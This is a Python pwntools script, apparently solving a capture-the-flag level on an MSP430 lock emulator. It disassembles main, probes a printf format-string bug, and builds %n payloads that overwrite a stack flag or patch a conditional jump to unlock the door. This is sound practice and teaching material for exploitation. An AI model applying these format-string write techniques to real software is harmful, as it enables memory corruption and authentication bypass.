from binascii import hexlify

from pwn import *

MSP430_EMU = args['MSP430_EMU']
MSP430_GDB = 'msp430-gdb'
BINARY = sys.argv[1]
PROMPT = b'gdb> '

context.endian = 'little'
emu = process([MSP430_EMU, '-g', BINARY])
dbg = process([MSP430_GDB, '-ex', 'target remote localhost:3713',
               '-ex', f'set prompt {PROMPT.decode("utf-8")}'])

dbg.recvuntil(PROMPT)

# - the description suggests this may be a format string exploit
# - user input is read into memory at #0x2400, then copied on the
#   stack and passed to printf directly (447c)

# 4438 <main>
# 4438:  3150 eaff      add	#0xffea, sp
# 443c:  8143 0000      clr	0x0(sp)
# 4440:  3012 e644      push	#0x44e6 "Login with username:password below to authenticate.\n"
# 4444:  b012 c845      call	#0x45c8 <printf>
# 4448:  b140 1b45 0000 mov	#0x451b ">> ", 0x0(sp)
# 444e:  b012 c845      call	#0x45c8 <printf>
# 4452:  2153           incd	sp
# 4454:  3e40 1300      mov	#0x13, r14
# 4458:  3f40 0024      mov	#0x2400, r15
# 445c:  b012 8c45      call	#0x458c <getsn>
# 4460:  0b41           mov	sp, r11
# 4462:  2b53           incd	r11
# 4464:  3e40 0024      mov	#0x2400, r14
# 4468:  0f4b           mov	r11, r15
# 446a:  b012 de46      call	#0x46de <strcpy>
# 446e:  3f40 0024      mov	#0x2400, r15
# 4472:  b012 b044      call	#0x44b0 <test_password_valid>
# 4476:  814f 0000      mov	r15, 0x0(sp)
# 447a:  0b12           push	r11
# 447c:  b012 c845      call	#0x45c8 <printf>
# 4480:  2153           incd	sp
# 4482:  3f40 0a00      mov	#0xa, r15
# 4486:  b012 5045      call	#0x4550 <putchar>
# 448a:  8193 0000      tst	0x0(sp)
# 448e:  0324           jz	#0x4496 <main+0x5e>
# 4490:  b012 da44      call	#0x44da <unlock_door>
# 4494:  053c           jmp	#0x44a0 <main+0x68>
# 4496:  3012 1f45      push	#0x451f "That entry is not valid."
# 449a:  b012 c845      call	#0x45c8 <printf>
# 449e:  2153           incd	sp
# 44a0:  0f43           clr	r15
# 44a2:  3150 1600      add	#0x16, sp


def gdb_output(output):
    return output.removesuffix(PROMPT).decode('utf-8').strip().split('\n')


# I don't really understand how format string exploits work at all, so
# here's a helper function to try user input and see what is echo'd back


def try_format_string(fmt):
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(b':' + hexlify(fmt))

    print(emu.recvline().decode('utf-8').rstrip().split('> ')[1])


# try_format_string(b'AB%x_%x_%x_%x_%x_%xCD') # AB_4241_7825_255f_5f78_
# try_format_string(b'AB___________%x_%x') # AB____________4241
# try_format_string(b'AB_%x%02x')
# try_format_string(b'AB_%x% 2x')
# try_format_string(b'AB_%x%2x')
# try_format_string(b'AB_%x%c?')
# try_format_string(b'\x41\x41%x%n')

# so it seems that when a format string doesn't have any arguments,
# the first format directive doesn't seem to do anything useful (it
# doesn't write anything to the resulting string), but the second
# looks at the bytes at the beginning of string and further directives
# look at the other bytes on the stack

# features such as %02x or $ cannot be used for output (width)
# control, only %c, %x and %n appear to be usable (%s doesn't emit the
# format string again)

# if %n is used, then there's an unaligned write error to 0x4141, so
# let's check what exactly it's trying to write there by using an
# aligned address


def try_format_string_write(addr, fmt):
    dbg.sendlinethen(PROMPT, b'break *0x4480')
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(b':' + hexlify(fmt))

    dbg.recvuntil(PROMPT)
    command = f'x/2bx {hex(addr)}'.encode('utf-8')
    print(gdb_output(dbg.sendlinethen(PROMPT, command))[0])


# try_format_string_write(0x4242, b'\x42\x42%x%n') # 0x02 0x00
# try_format_string_write(0x4242, b'\x42\x42_%x%n') # 0x03 0x00
# try_format_string_write(0x4242, b'\x42\x42__%x%n') # 0x04 0x00

# small writes can be performed and could be used to patch variables
# or code following the printf call

# the former would be used on the variable checked by unlock_door

def find_stack_variable():
    dbg.sendlinethen(PROMPT, b'break *0x448a')
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(b'AAAA')

    dbg.recvuntil(PROMPT)
    print(gdb_output(dbg.sendlinethen(PROMPT, b'p/x $sp'))[0])

# find_stack_variable() # 0x32a2


def overwrite_var_exploit():
    payload = p16(0x32a2) + b'%x%n'  # write anything non-zero there
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(b':' + hexlify(payload))

    print(emu.recvall().decode('utf-8', errors='replace'))

# the latter allows the following opcodes (according to the web
# disassembler, msp430-objdump considers these invalid):

# 0x02, 0x00 # rrc sr
# 0x03, 0x00 # rrc #0x0
# 0x04, 0x00 # rrc r4

# the first and second one seem to be equivalent to NOP, so they can
# be used to patch out a 2-byte instruction or reinterpret a 4-byte
# instruction; 448e with its conditional jump is a great candidate

def overwrite_code_exploit():
    # for some reason, the website considers the 0300 version invalid
    # and the emulator the 0200 one an illegal instruction

    # payload = p16(0x448e) + b'%x%n'  # write 0200 at 0x448e
    payload = p16(0x448e) + b'_%x%n'  # write 0300 at 0x448e

    dbg.sendline(b'continue')
    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(b':' + hexlify(payload))

    print(emu.recvall().decode('utf-8', errors='replace'))


overwrite_var_exploit()
# overwrite_code_exploit()